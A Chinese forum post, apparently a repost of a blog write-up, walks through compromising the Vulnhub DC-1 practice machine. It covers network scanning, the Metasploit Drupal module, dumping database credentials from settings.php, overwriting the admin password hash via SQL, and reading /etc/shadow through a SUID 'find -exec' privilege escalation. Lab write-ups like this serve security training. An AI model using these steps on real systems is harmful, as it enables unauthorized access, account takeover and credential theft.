安全矩阵

 找回密码
 立即注册
搜索
查看: 2314|回复: 0

Vulnhub靶机DC系列-DC1

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-7 11:26:08 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2021-10-7 11:29 编辑

文章来源:​原创 Laela 衡阳信安 2021-10-05
​Vulnhub靶机DC系列-DC1


​一、下载所需工具二、靶机建设

  •         导入虚拟机
  •         查看虚拟机的mac地址,选择网络适配器,高级查看
            
                   
            
三、信息收集3.1查询DC-1靶机的IP地址

使用nmap查询,通过靶机mac地址找到对应IP

sudo nmap -sn 192.168.182.1/24

使用arp-scan查询靶机IP地址
arp-scan -l

3.2查询靶机服务信息
使用nmap查看服务器信息
nmap -sV 192.168.182.151

通过上图可以看到有三个服务

  •         ssh:专为远程登录会话和其他网络服务提供的安全性协议
  •         http:通过80端口向外提供web服务
  •         rpcbind:RPCBind是linux平台一种通用的RPC端口映射功能。
查看http服务访问IP

通过插件查询是一个# Drupal7的web站点

四、漏洞利用使用msf进行利用
使用search搜索Drupal的利用模块

使用use选中要使用的模块

使用show options或options或info查看模块配置信息

一大堆东西比如这里显示的可利用的版本,注意下边的选项参数

这里有yes 的是必须设置的但是有默认值的你可以保持默认 这里设置攻击目标rhosts set rhosts http://192.168.182.151

然后你可以再次info查看配置信息保证没有遗漏 这边我就不查看了我直接run进行利用

当看到meterpreter表示已经成功 可以通过shell获取靶机shell

这里我输入了ls,但是没有终端的箭头指引很难受
python -c 'import pty; pty.spawn("/bin/bash")' 使用这条命令获取交互式shell

我这里直接在meterpreter中进行操作

发现存在flag1文件,cat查看

提示查看CMS的配置文件 通过百度查到Drupal 配置文件:/data/wwwroot/drupal/web/sites/default/settings.php 所以cat查看这个配置文件

文件内容中出现了flag2提示,配置文件中也显示了数据库的用户名以及登录密码的信息。 提示信息并不建议使用字典爆破,先利用找到的信息登录mysql数据库看是否有其他信息 这时候使用shell操作

连接数据库mysql -u dbuser -p

查看库:show databases;

选择库:use drupaldb 查看表:show tables;

查看users表中的数据:select * from users;

在drupaldb的users表中找到了admin的密码,尝试根据找到的这一串字符得到密码。搜索drupal CMS是如何生成密码的(一般是取hash(不可逆性)),所以想根据hash值来得到密码是不可能了,那么忘记密码怎么办呢?当然是想办法重置密码了。drupal中有一个文件password-hash.sh是用来计算密码对应的hash值的,也就是查到的那串字符也是这么来的。

这里遇到个小坑,需要到www目录下执行

重新进入到数据库替换admin的密码 登录数据库:mysql -u dbuser -p 修改数据: update 表名 set 列名 = 新列值 where 列名 = 旧列值
  1. update users set pass = '$S$DkiZXjbSg27VQPlWyNx7XJBaXW8fNaACXiACcxhr2xGwn5WF/L0C' where name = 'admin';
复制代码



替换成功 登录到后台

在content中发现flag3


这里提示去shadow文件中查找用户的密码,(shadow文件一般是需要root权限的)。
首先提权:find / -user root -perm -4000 -print 2>/dev/null

这个命令是找用户组为root,权限包括为4000对应的权限的文件,从根目录/开始 4000权限大概就是能将对应文件所在用户组的权限给其他用户组使用。
利用find来进行提取
先建立一个文件touch laela.txt find laela.txt -exec cat /etc/shadow \;

发现两个用户root和flag4 其中有一个用户为flag4。一般来说在home目录下每个用户会有一个以用户名命名的文件夹 进入可以查看到flag4.txt。由之前搜集到的信息可以得知开启了ssh服务,所以也可以尝试爆破密码再用ssh登录连接。

我这里只看到了fl后面时空的因为我按tab补全但是没显示不过可以执行 由于已经提权了所以查看root下的最后一个flag

这里需要注意需要在你新建文件提权的目录下执行

完成大功告成
五、总结





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:39 , Processed in 0.017588 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表